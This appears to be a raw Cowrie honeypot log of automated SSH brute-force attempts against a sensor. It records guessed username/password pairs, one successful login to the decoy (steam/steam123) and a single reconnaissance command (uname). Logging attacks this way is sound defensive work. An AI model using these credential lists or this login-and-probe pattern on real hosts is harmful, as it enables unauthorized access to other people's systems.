{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:54.458281Z","src_ip":"192.109.200.237","session":"257847238432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:54.705051Z","src_ip":"192.109.200.237","session":"257847238432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:55.790359Z","src_ip":"192.109.200.237","session":"257847238432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46640,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa98d0ba9ab8","protocol":"ssh","message":"New connection: 192.109.200.237:46640 (159.203.135.109:22) [session: fa98d0ba9ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:57.456512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:57.461571Z","src_ip":"192.109.200.237","session":"fa98d0ba9ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:57.545003Z","src_ip":"192.109.200.237","session":"fa98d0ba9ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:57.798080Z","src_ip":"192.109.200.237","session":"fa98d0ba9ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:58.884959Z","src_ip":"192.109.200.237","session":"fa98d0ba9ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60102,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3500d757883","protocol":"ssh","message":"New connection: 192.109.200.237:60102 (159.203.135.109:22) [session: b3500d757883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:00.655288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:00.692400Z","src_ip":"192.109.200.237","session":"b3500d757883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:00.745786Z","src_ip":"192.109.200.237","session":"b3500d757883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:01.063315Z","src_ip":"192.109.200.237","session":"b3500d757883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:02.150101Z","src_ip":"192.109.200.237","session":"b3500d757883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60122,"dst_ip":"159.203.135.109","dst_port":22,"session":"b48aa800803c","protocol":"ssh","message":"New connection: 192.109.200.237:60122 (159.203.135.109:22) [session: b48aa800803c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:03.818886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:03.824982Z","src_ip":"192.109.200.237","session":"b48aa800803c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:03.911095Z","src_ip":"192.109.200.237","session":"b48aa800803c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:04.164199Z","src_ip":"192.109.200.237","session":"b48aa800803c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:05.250400Z","src_ip":"192.109.200.237","session":"b48aa800803c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60144,"dst_ip":"159.203.135.109","dst_port":22,"session":"60750216fda7","protocol":"ssh","message":"New connection: 192.109.200.237:60144 (159.203.135.109:22) [session: 60750216fda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:06.984118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:06.988762Z","src_ip":"192.109.200.237","session":"60750216fda7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:07.071206Z","src_ip":"192.109.200.237","session":"60750216fda7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:07.399313Z","src_ip":"192.109.200.237","session":"60750216fda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:08.484537Z","src_ip":"192.109.200.237","session":"60750216fda7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59686,"dst_ip":"159.203.135.109","dst_port":22,"session":"45cd333ae0ea","protocol":"ssh","message":"New connection: 192.109.200.237:59686 (159.203.135.109:22) [session: 45cd333ae0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:10.165219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:10.169998Z","src_ip":"192.109.200.237","session":"45cd333ae0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:10.252354Z","src_ip":"192.109.200.237","session":"45cd333ae0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:10.503372Z","src_ip":"192.109.200.237","session":"45cd333ae0ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":40168,"dst_ip":"159.203.135.109","dst_port":22,"session":"00dea3640d3d","protocol":"ssh","message":"New connection: 77.94.47.83:40168 (159.203.135.109:22) [session: 00dea3640d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:11.010987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:11.016072Z","src_ip":"77.94.47.83","session":"00dea3640d3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:11.140747Z","src_ip":"77.94.47.83","session":"00dea3640d3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad123","message":"login attempt [root/vlad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:11.513741Z","src_ip":"77.94.47.83","session":"00dea3640d3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:11.587972Z","src_ip":"192.109.200.237","session":"45cd333ae0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:12.640742Z","src_ip":"77.94.47.83","session":"00dea3640d3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59692,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f894d777fa8","protocol":"ssh","message":"New connection: 192.109.200.237:59692 (159.203.135.109:22) [session: 4f894d777fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:13.257085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:13.261560Z","src_ip":"192.109.200.237","session":"4f894d777fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:13.343884Z","src_ip":"192.109.200.237","session":"4f894d777fa8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:13.590020Z","src_ip":"192.109.200.237","session":"4f894d777fa8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:13.836041Z","src_ip":"192.109.200.237","session":"4f894d777fa8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:13.838844Z","src_ip":"192.109.200.237","session":"4f894d777fa8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:13.929382Z","src_ip":"192.109.200.237","session":"4f894d777fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:13.934559Z","src_ip":"192.109.200.237","session":"4f894d777fa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59708,"dst_ip":"159.203.135.109","dst_port":22,"session":"a39a4f9a3908","protocol":"ssh","message":"New connection: 192.109.200.237:59708 (159.203.135.109:22) [session: a39a4f9a3908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:16.347550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:16.352122Z","src_ip":"192.109.200.237","session":"a39a4f9a3908","protocol":"ssh"}
